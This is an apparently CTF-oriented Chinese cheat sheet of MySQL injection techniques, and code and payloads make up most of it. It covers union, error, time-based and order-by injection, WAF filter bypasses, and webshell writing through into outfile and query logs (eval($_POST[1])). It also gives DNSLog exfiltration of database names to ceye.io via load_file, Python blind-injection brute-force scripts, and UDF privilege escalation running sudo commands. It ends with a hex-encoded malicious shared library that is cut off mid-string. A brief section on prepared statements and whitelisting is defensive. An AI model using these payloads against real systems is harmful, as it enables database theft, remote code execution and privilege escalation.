1 2 3 4 5 0'/**/union/**/select/**/1,2,(select/**/group_concat(b)/**/from/**/(select/**/1/**/as/**/b/**/union/**/select/**/*/**/from/**/ctftraining.flag)a)' /*选择ctftraining.flag内的第一列取名为b并且读取b*/
比较法判断列数(?待验证)
1 select (select 'admin','~','~')<(select * from users where username='admin' limit 1);
10.insert注入
SQL语句:
1 insert into table VALUES('val1','val2')
此时构造语句
语句就会变成:
1 insert into table VALUES('bob' or xxxxx or'')
xxxxx可以是报错注入的updatexml,也可以是时间盲注的语句,取决于你用何种注入方式:
1 0'||if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))<127,sleep(0.3),1)||'
1 1' or updatexml(1,concat('~',database()),3) or'
11.update注入
无非就是闭合语句,再注入自己的语句,达到改密码等效果:
1 2 3 4 5 update user set username= "sqli" where age= 111 ;update user set username= "sqli",username= user () where age= 111 ;
12.约束攻击
利用原理:
数据库中利用insert注册,利用select登录
insert语句只会截取表中最大字符限制的内容(比如设置了varchar(20)
就只会保留20个)
select语句输入什么就是什么
末尾的空格会被忽略掉
利用注册的时候加上特别多的空格insert进去,然后再登录:
假设我注册一个用户admin a
insert时候只会截取前20个,变成admin .
(15个空格)
这个时候就成功插入了admin
账户的账号和密码了
文件操作
设置变量
1 2 3 set global key=value; set session key=value; set key=value;#session
查看变量:
1 2 show variables; show variables like "%file%";
设置权限:
secure_file_priv
限制文件的读、写。secure_file_priv只能够通过my.ini
来配置,不能够通过sql语言进行修改
查看权限:
1 show variables like "%secure_file%";
null:不允许导入导出
/tmp:只允许在tmp下执行
空:无限制
读文件
1 select load_file('/flag');
读文件配合盲注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsurl = "http://34163922-8c1d-4c8b-ae9b-332f18511a0a.challenge.ctf.show:8080/api/index.php" flag = "ctfshow{" str = "0123456789abcdefghijklmnopqrstuvwxyz-{}" for i in range (50 ): for j in str : data = { "username" : "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)" .format (flag+j), "password" : 0 } r = requests.post(url,data) if r"\u5bc6\u7801\u9519\u8bef" in r.text: flag = flag+j print (flag) if "}" in flag: exit() break
mysql写shell
写文件:
1 2 select "<?php phpinfo();?>" into outfile "/tmp/1.php"#多行 select "<?php phpinfo();?>" into dumpfile "/tmp/1.php"#仅一行
要知道web的绝对路径
web要有文件的写入权限
数据库有secure_file_priv
设置
1 2 3 4 1 ' union select 1,"shell",3 into outfile "/var/www/html/1.php" #windows下: 1' union select 1 ,"shell",3 into outfile "C:\\phpstudy\\WWW\\xxx"#
除了into outfile
和into dumpfile
以外,还有以下几种函数/语句可以写
lines terminated by
:在每行终止的位置添加内容
1 1 ' union select 1 into outfile "xxx" lines terminated by "shell"#
对应的还有lines started by
:在每行起始的位置添加
1 1 into out file "xxx" lines starting by "shell";
fields terminated by
:可以理解成在每个字段处添加
1 1 into out file "xxx" fields terminated by "shell";
columns terminated by
:可以理解在每一列添加
1 1 into out file "xxx" columns terminated by "shell";
sqlmap:
1 2 # 写入到 /tmp 目录下 (要写的文件,必须在kali本机里有) sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username' --file-write="shell.php" --file-dest="/tmp/shell.php"
日志写shell:
phpmyadmin
里常见:
需要设置general_log
和general_log_file
1 2 set global general_log= 'on' ; #开启日志记录set global general_log_file= '需要记录日志的位置.php' ;#将日志保存到路径,需要绝对路径,设置成网站的目录
然后只需要select一下:
1 select '<?php eval($_POST[1]);?>' ;
这样就把这条语句记录到日志里了,日志还是php,所以自然就有马了
但是还有问题,比如在windows下,设置secure_file_priv
在C盘下,但是网站搭载在D盘的话,这样即使将general_log_file
修改为C盘下的文件也是连不上的,除非有文件包含
这种方式的条件比较苛刻:
不能够union注入,因为写日志的时候需要set general_log_file,而union注入是不能够执行set的
要有堆叠注入(mysqli_multi_query),不常见(常用mysqli_query)
或者你能够登入别的数据库或者phpmyadmin里
没有对单双引号进行过滤
慢查询日志写shell
在mysql>5.6.34以后secure_file_priv的值默认为null。
mysql里有一种日志叫慢查询日志,它用于记录在mysql中响应时间超过阈值的语句,默认阈值(long_query_time
)为10,时间超过这个参数的查询语句会被sql记录到慢查询日志中
使用慢查询主要针对日志量庞大,通过日志文件getshell出现问题的情况
1 2 3 4 5 6 show variables like "%slow%";set global slow_query_log_file= "xxx.php";#慢查询日志的保存路径set global slow_query_log= on ;set global log_queries_not_using_indexes= on ;select 'shell' or sleep(10 ); #确保查询时间够长
如果查询的时候对敏感字符进行了过滤(如php
),可以利用CONCAT拼接或者REPLACE替换
1 2 set global general_log_file = CONCAT("/var/www/html/shell.p","hp"); set global general_log_file = REPLACE("/var/www/html/shell.jpg","jpg","php");
各种表
information_schema
平时注入比较常用的表:
表
字段
说明
information_schema.schemata
schema_name
库
information_schema.tables
table_schema、table_name
库、表
information_schema.columns
table_schema、table_name、column_name
库、表、列
sys
表
字段
说明
sys.innodb_buffer_stats_by_schema
object_schema
库名
sys.innodb_buffer_stats_by_table
object_schema、object_name
库名、表名
sys.io_global_by_file_by_bytes
file
路径中包含表名
sys.io_global_by_file_by_latency
file
路径中包含表名
sys.processlist
current_statement、last_statement
当前数据库正在执行的语句、该句柄执行的上一条语句
sys.session
current_statement、last_statement
当前数据库正在执行的语句、该句柄执行的上一条语句
sys.schema_auto_increment_columns
table_schema、table_name、column_name
库名、表名、字段名
sys.schema_index_statistics
table_schema、table_name
库名、表名
sys.schema_object_overview
db
库名
sys.schema_table_statistics
table_schema、table_name
库名、表名
sys.schema_table_statistics_with_buffer
table_schema、table_name
库名、表名
sys.schema_tables_with_full_table_scans
object_schema、object_name
库名、表名
sys.statement_analysis
query、db
请求访问的数据库名、数据库最近执行的请求
sys.version
mysql_version
mysql版本信息
sys.x$innodb_buffer_stats_by_schema
object_schema
库名
sys.x$innodb_buffer_stats_by_table
object_schema、object_name
库名、表名
sys.x$io_global_by_file_by_bytes
file
路径中包含表名
sys.x$schema_tables_with_full_table_scans
object_schema、object_name
库名、表名
sys.x$schema_flattened_keys
table_schema、table_name、index_columns
库名、表名、字段名
sys.x$ps_schema_table_statistics_io
table_schema、table_name
库名、表名
performance_schema
只有库和表:
表
字段
说明
performance_schema.objects_summary_global_by_type
object_schema、object_name
库、表
performance_schema.table_handles
object_schema、object_name
库、表
performance_schema.table_io_waits_summary_by_index_usage
object_schema、object_name
库、表
performance_schema.table_io_waits_summary_by_table
object_schema、object_name
库、表
information_schema.TABLESPACES_EXTENSIONS
可以通过这个表去查询所有数据库中的数据库和表
mysql.innodb
无列名:
表
字段
说明
mysql.innodb_table_stats
database_name、table_name
表名
mysql.innodb_index_stats
database_name、table_name
引号逃逸
利用方式:
1 select * from users where username='xxx' and password = 'xxx'
此处的xxx均为我们可控的内容,此时利用\
逃逸出username的一个单引号,在password处注入:
1 select * from users where username='admin\' and password = 'or select xxx#'
quine(自等构造)
条件:
1 2 3 4 5 6 7 8 9 10 11 $sql ="SELECT password FROM users WHERE username='admin' and password='$password ';" ; $user_result =mysqli_query ($con ,$sql ); $row = mysqli_fetch_array ($user_result ); if (!$row ) { alertMes ("something wrong" ,'index.php' ); } if ($row ['password' ] === $password ) { die ($FLAG ); } else { alertMes ("wrong password" ,'index.php' ); }
这里需要的是sql查询返回后的语句等于我们的password的语句
这里就可以利用replace函数
替换,使其替换后的语句等于替换前的语句即可
对于返回值和输入值相同,并且输出自己的源代码程序,我们称之为Qunie
假设有个语句:
1 REPLACE('REPLACE("B","B","B")',B,'REPLACE("B","B","B")')
他经过处理后会变成:
1 REPLACE("REPLACE("B","B","B")","REPLACE("B","B","B")","REPLACE("B","B","B")")
仅相差中间那个B
此时利用char(66)
,其实就是B
,但是它不会被替换
此时变成了:
1 REPLACE('REPLACE("B",CHAR(66),"B")',CHAR(66),'REPLACE("B",CHAR(66),"B")')
最后变成了:
1 REPLACE("REPLACE("B",CHAR(66),"B")",CHAR(66),"REPLACE("B",CHAR(66),"B")")
但是此时又有了个新的问题,此时看到距离我们的最终目标就剩下了单双引号
那我们再次利用replace将单引号换成双引号:
1 REPLACE(REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")',CHAR(34),CHAR(39)),CHAR(66),'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")')
比较套娃
此处实际上执行了两次replace:
第一次:
1 REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")',CHAR(34),CHAR(39))
此处将该语句的双引号都换成了单引号
此时变成了:
1 REPLACE('REPLACE(REPLACE('B',CHAR(34),CHAR(39)),CHAR(66),'B')',CHAR(66),'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")')
最后的输出结果:
1 REPLACE(REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")',CHAR(34),CHAR(39)),CHAR(66),'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")')
此时和语句1一致了
最后考虑到需要添加union select 空格/**/ 井号
最后的payload:
1 1'/**/union/**/select/**/REPLACE(REPLACE('1"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#',CHAR(34),CHAR(39)),CHAR(66),'1"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#')#
如果char被过滤,还可以利用十六进制编码:
1 '/**/union/**/select/**/REPLACE(REPLACE('"/**/union/**/select/**/REPLACE(REPLACE("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/REPLACE(REPLACE("%",0x22,0x27),0x25,"%")#')#
方法2:
1 2 3 1'union/**/select/**/mid(`11`,65,217)/**/from(select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17/**/union/**/select/**/*/**/from/**/performance_schema.threads/**/where/**/na me/**/like'%connection%'/**/limit/**/1,1)t#
排序注入(order by)
讲到排序注入,就不得不说到mysql的一种防御方式叫预编译
预编译是啥呢,其实就是将一些灵活的参数值(可以理解成用户传的参数值)以占位符?
的形式代替,然后让语句模板化。进行预编译之后sql语句就已经被分析优化了,并且是以参数化的形式来执行,所以即使有敏感字符,数据库也会当作属性值来处理而不是sql指令
预编译的形式通常是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 include 'dbConnect.php' ; if (isset ($_GET ['username' ]) && isset ($_GET ['password' ])) { $mysqli_stmt = $mysqli ->prepare ("SELECT * FROM users WHERE username = ? AND password = ?" ); $mysqli_stmt ->bind_param ("ss" , $username ,$password ); $mysqli_stmt ->bind_result ($user , $pass ); $mysqli_stmt ->execute (); if (($mysqli_stmt ->fetch ())) { echo '登录成功!' ; } else { echo "用户名或密码错误" ; } }
或者一个更加普遍的形式:
1 2 3 4 5 Connection conn = DBConnect.getConnection();String sql = " SELECT xxx FROM xxx WHERE xxx = ? " ;ps = conn.prepareStatement(sql); ps.setString(1 , xxx); rs = ps.executeQuery();
此时我们输入1' or '1'='1
时,预编译好的sql语句是这样的:
'1' or '1'='1'
(也就是再加上一个单引号)
1 String sql = " SELECT xxx FROM xxx WHERE xxx = '1' or '1'='1' "
此时就无法攻击了
那接下来说回排序注入
排序注入一般出现在order by
:
1 String sql = " SELECT xxx FROM xxx WHERE xxx ='xxx' order by xxx";
这里拿sql-labs的lesson48来做测试就好了
挖掘思路
请求的参数中的关键词有order=
,sort=
,orderby=
等
等于号后面有asc desc
等
例如某接口:
1 https://xxxx.com/xxx/xxx/xxx/getAreaSpotPageList?&pageindex=1&pagesize=20&passAreaId=2&orderby=pass_area_spot_id+desc&userId=1181163&hotelId=5&brandId=5
这个接口是一个比较正常的get类型的获取数据接口
但是有一个orderby
参数比较显眼
而且传递的参数值为pass_area_spot_id+desc
,而desc
是sql中的降序排序
发现orderby=pass_area_spot_id+desc
与orderby=pass_area_spot_id+asc
返回的数据不一致
检测方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ,1 && ,0 ,1/1 && ,1/0 ,exp(7) && ,exp(710) //exp得看数据库的版本,高版本下不太行 异或 (select*from(select+sleep(3)union/**/select+1)a) //基于时间盲注的辅助判断 感觉上面的都不太行? order by rand() order by rand(1=1) order by rand(1=2) 根据这个排序返回的情况判断是否存在 也可以利用超大的数或者返回多条记录: order by 9999 order by (select 1 union select 2)
例如:
AdminID+desc,exp(7)
正常
而
AdminID+desc,exp(710)
会溢出,导致响应时间过长:
基于时间的检测判断:
可见访问了3秒左右,代表存在该漏洞
利用方式
这个时候就可以利用了,建议条件为真时溢出(利于判断)
其实order by 后面可以直接添加sql语句
payload修改一下:
1 AdminID+desc,if(user()+like+'r%',exp(710),exp(7))
1 AdminID+desc,if(user()+like+'c%',exp(710),exp(7))
报错:
1 xxx desc , updatexml(1 ,concat('~' ,database()),3 )
盲注(bool):
这里也可以写基于二分的,如果正确页面回显正常,如果错误页面会回显Subquery returns more than 1 row
(也有可能是别的)
1 Payload:pass_area_spot_id+desc,if (ascii(substr(database(),? ,1 ))=?,1 ,(select %201 %20 from%20i nformation_schema.tables))
1 2 3 4 order by if(1 = 1 ,1 ,(select 1 from information_schema.tables)) # 正常order by if(1 = 2 ,1 ,(select 1 from information_schema.tables)) # 异常order by if(mid(database(),1 ,1 )= 's' ,1 ,(select 1 from information_schema.tables)) # 正常order by if(mid(database(),1 ,1 )= 'a' ,1 ,(select 1 from information_schema.tables)) # 异常
如果直接order by sleep(2)的话会根据表内的数据,进行sleep(2n)的操作,导致查询时间过长
盲注(time):
1 pass_area_spot_id+desc,if(ascii(substr(database(),? ,1))=?,1,sleep(3))
为什么预编译不能够防止order by导致的注入
其实这里可以换一个方法来问这个问题。
还记得预编译是什么吗?
进行预编译之后sql语句就已经被分析优化了,并且是以参数化的形式来执行,所以即使有敏感字符,数据库也会当作属性值来处理而不是sql指令
那么这个问题就可以转化成order by
为什么不能够被参数化执行了
说回order by
,order by
的语法一般是order by [字段名] [desc/asc]
如果对order by之后的输入进行参数化就会导致sql语句出错:
1 String sql = " SELECT xxx FROM xxx WHERE xxx = 'xxx' order by 'xxx' "
这个时候order by 后面的 xxx其实是一个字符串,而不是字段名,导致sql查询出错
引自原文:
那么为什么预编译的函数在参数化时非要把输入加上引号呢?如果没有引号不就可以防御order by注入了吗?是的,但确实没有不加引号的预编译的方法
那就是说引申一下,预编译防止不了order by
导致的sql注入,也防御不了任何需要字符串并且不能够加引号的地方可能导致的sql注入
因为不能参数化的位置不管怎么拼接,最终都是和直接使用加号连接的方法一致
防御方式
既然预编译防不了group by,那要怎么防御呢?
可以采取白名单的方式
因为order by 之后跟的字段名是有限的,而且肯定是数据库中已经存在的字段,所以只要对这些有限的字段设置白名单,其他的输入统一报错,那么就解决了
DNSLog
什么是DNSLog?
DNS就是将域名解析为ip。用户在浏览器上输入一个A.com
,就要靠DNS服务器将A.com解析到它的真实ip,这样就可以访问到该真实ip上的服务
如何利用DNSLog进行注入呢?
DNSLog回显原理
Internet采用层次树状结构命名方法,域是名字空间中的一个可被管理的划分。域还可以被分成子域,子域还能够再被划分,从右向左分别是顶级域名,二级域名,三级域名 ,如tieba.baidu.com
,而且域名不分大小写
DNSLog的回显方式是这样的:
假设我ping %USERNAME%.a.com
此时回显的结果会是Ping 请求找不到主机 kang_.a.com
因为系统在ping之前先把%USERNAME%
的值解析出来和a.com
拼接起来
再和ping命令执行将kang_.a.com
发给DNS服务器请求解析
这个过程被记录下来就称DNSLog
原理上只要能够进行DNS请求的函数都可能存在DNSLog注入
DNSLog能用在哪些地方?
SQL盲注。因为在sql注入的时候为布尔盲注、时间盲注的时候注入的效率低而且线程高的时候就容易被waf拦截,又或者目标站点无回显
无回显rce。这个不多说
无回显ssrf
xss
xxe
推荐的DNSLog网址:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
DNSLog打SQL盲注
局限性:只能利用于windows并且有文件的读取权限,secure-file-priv不为null
这里就需要我们的load_file
函数了,这个函数可以进行DNS请求。但是这个trick只适用于windows系统。因为windows上有一个叫UNC 路径的东西
这是个什么玩意呢?
其实是一个windows上的一个访问方式,其实就是我们的
这种反斜杠的访问方式
payload:
1 payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+
过程是这样的:
恶意sql注入传递到数据库执行database()
函数,假设返回的数据库名字叫security
此时dns查询变成了security.xxx.ceye.io
然后带着这个查询去查询dns服务器(查询security.xxx.ceye.io )
dns服务器返回了一个NS服务器地址xxx.ceye.io
向NS服务器查询security.xxx.ceye.io
ND服务器上获取到了DNSLog,查询到了数据库的值
limit注入
注入点在limit后面
仅适用于5.x
,因为procedure analyse
在8.0.x已经被删除
group by 和limit的区别
group by 后可以直接跟sql注入语句,但是limit是不能直接跟的,需要再跟procedure analyse()
无order by的情况
后端语句可能长这样:
1 select * from users limit 1 ,1 ;
这种利用就很简单了,可以直接在后面加union
,也可以利用procedure analyse()
1 2 3 4 5 6 7 select * from aaa limit 1 ,1 ;select * from aaa limit 1 ,1 union select version();select * from aaa limit 1 ,1 procedure analyse (extractvalue(rand(),concat(0x3a ,version())),1 );
有order by的情况
只能利用procedure analyse
1 2 3 4 5 select * from aaa order by 1 limit 1 ,1 ;select * from aaa order by 1 limit 1 ,1 procedure analyse (extractvalue(rand(),concat(0x3a ,version())),1 );
查询语句的过滤
0.内联注释
1 2 3 select 1 select 2 ;select ););
不明觉厉()
可以将语句插入到注释中
1.大小写绕过:
2.编码:
进行url编码,如and(&&)可以尝试使用%26%26
如#可以使用%23
有些时候也可以利用hex:
1 1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
3.空格绕过:
空格被过滤的一个方法:
1 1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
另一个方法就是使用括号:
1 1'||updatexml(1,concat('~',(select group_concat(table_name) from inforamtion_schema.tables where table_schema=database())),3)#
换用tab
,%a0
,%0a
(我记得%a0
也能绕过?)
测试过会发现and之前的空格可以被省略,而and后面的空格可利用数个~
和!
来绕过
还有+
和-
and
后跟偶数个-
即可
4.双写绕过:
1 1' ununionion selselectect 1,2,3#
将中间的union和select删除后又有union select,绕过成功
大抵是因为str_replace?
5.符号绕过:
or 换成 ||
and 换成 &&
6.大小于号的过滤
万恶的大小于号过滤,在写脚本跑的时候非常痛苦
可以使用greatest()函数、least()函数
1 2 3 4 如: select * from users where id=1 and ascii(substr(databse(),1,1))>64 可以换成: select * from users where id=1 and greatest(ascii(substr(database(),1,1)),64)=64
其实也可以直接使用等于号硬跑脚本,也就只用跑十七八分钟而已
7.过滤了database()
updated in 2023/3/11
可以通过查一个不存在的表来爆出库名:
1 1'||(select *from asdf)#
1 select schema_name from information_schema.schemata;
8.各种字符数字互转
ascii
,常用于盲注,字符转ascii码
ord
,等效替代ascii
hex
,传入字符或者十进制数返回十六进制
unhex
,hex的反向
char
,ascii、ord的反向
1 2 3 4 select table_name from information_schema.tables where table_schema= 'test' ;select table_name from information_schema.tables where table_schema= 0x74657374 ;
1 2 3 select table_name from information_schema.tables where table_schema= 'test' ;select table_name from information_schema.tables where table_schema= char (116 ,101 ,115 ,116 );
9.过滤了select
利用handler,常见于堆叠注入
1 2 3 4 5 6 handler user open ; handler user read first ; handler user read next;
条件:mysql8.0.19+
使用了table
和values
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 table user select * from user (table information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 ) #结果 #tmp/ user select (('u' ,'' )< (table information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 )) #返回值:0 select (('s' ,'' )< (table information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 )) #返回值:1 select (('t' ,'' )< (table information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 )) #返回值:1 select (('tmp/user' ,'' )< (table information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 )) #返回值:NULL select (('tmp/uses' ,'' )< (table information_schema.TABLESPACES_EXTENSIONS limit 6 ,7 )) #返回值:0
完全相等的时候返回null(?)
整数比较的时候是弱比较,注意
1 2 3 4 select * from user union VALUES ROW (1 , 2 )
测试:
例如某sql注入有如下的waf:
查库:
1 id= 0 % 09 union % 09 values % 09 row (database())
也可以利用一个盲注,总之就是要知道database
1 1' or ascii(substr(database(),1,1))
总之就是一个脚本可以爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests def ord2hex (string ):result = "" for i in string: r = hex (ord (i)); r = r.replace('0x' ,'' ) result = result+r return '0x' +result tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' flag = "" for i in range (0 ,50 ):for j in range (48 ,122 ): data = { 'password' :'' , } r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com' ,data=data); if '用户名不存在' in r.text: flag = flag +chr (j-1 ) print (flag) break
利用这种比较的方法可以比较出列名等
利用列比较:
1 2 #查库 ('def', '{target+chr(ascii)}','','','','')>(table information_schema.schemata limit 4,1)
查表:
1 ('ctf','{flag+chr(ascii)}','2021-04-30 21:15:31',0,0,0)>(table mysql.innodb_table_stats limit 1,1)
查记录:
1 hex((table ctf.fl11aag limit 1,1))
10. 绕过逗号
还是挺有用的
利用join绕过:
1 select * from (select user ())a join (select database())b;
limit情况下的:
1 limit 1 offset 1 等效于 limit 1 ,1
substr:
1 select substr(database() from 1 for 1 );
1 2 3 4 select substr(username,1 ,1 ) from t_user;select username from t_user where username like "u%";
11. 绕过等于号
Payload
说明
<>
、>
、<
不等符、大于、小于
select 1 between 1 and 2;
select 1 not between 1 and 2;
between语句,在两值之间
select 1 in (1);
select 1 not in (1);
in语句,在集合中
select '123' like '1%';
like模糊匹配
select '123' regexp '^12.*';
regexp正则匹配
select '123' rlike '^12.*';
Rlike正则匹配
select regexp_like("abc","^ab");
regexp_like函数正则匹配
12. and/or
&&
||
^
-sleep(2)
13. 小括号
一般利用regexp或者like
14. 注释符
直接完整闭合即可:
1 2 3 4 # 原始 ?id=1 # 完整闭合 ?id=1' and expr and '1'='1
15. 绕过关键词
比如information_schema.tables
这种一个大的关键词
可以利用空格
或者反引号
绕过
1 2 3 4 select distinct table_name from information_schema . tables;select distinct table_name from `information_schema`.`tables`;
16. order by
group by
into @a, @b
UDF提权
udf是一个用户自定义的函数
udf就是为了让开发者能够自己写方便自己的函数,udf有三种返回值:STRING,INTEGER,REAL
udf创建自定义函数的格式:
1 create function xxx returns xxxx(string/integer/real) soname 'filename.so/dll'
例如自定义一个sys_eval
函数:
1 create function sys_eval returns string soname 'a.so' ;
1 2 3 4 5 select * from mysql.func where name = 'sys_eval' ;select sys_eval('sudo ls /root' ); #sudo提权select sys_eval('sudo cat /root/you_win' );
(主要是发现这个b mysql用户是特权用户,才能够用sudo)
需要条件
Windows
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin\
文件夹下(windows下默认这个目录是不存在的,所以需要有权限创建)
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32
目录,在windows server 2000下放置在c:\winnt\system32
目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。
Linux
放到mysql安装目录的lib\plugin\
即可
流程
首先要找到放plugin的路径
1 2 3 4 show variables like '%secure%' ;获取到secure_file_priv 这个参数会告诉我们通过udf提权可以获得什么权限 像下面就是可以提权到root
1 2 show variables like '%plugin%' ;获取plugin目录
然后将so文件上传到这个路径
你要是有小马可以rce的可以用这个脚本打:
1 2 3 4 5 6 7 8 9 10 import requestsurl = 'http://78699278-e868-4e60-a4ed-1b459b70c167.challenge.ctf.show/a.php' data = {'1' : '''file_put_contents('a.so',hex2bin('7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f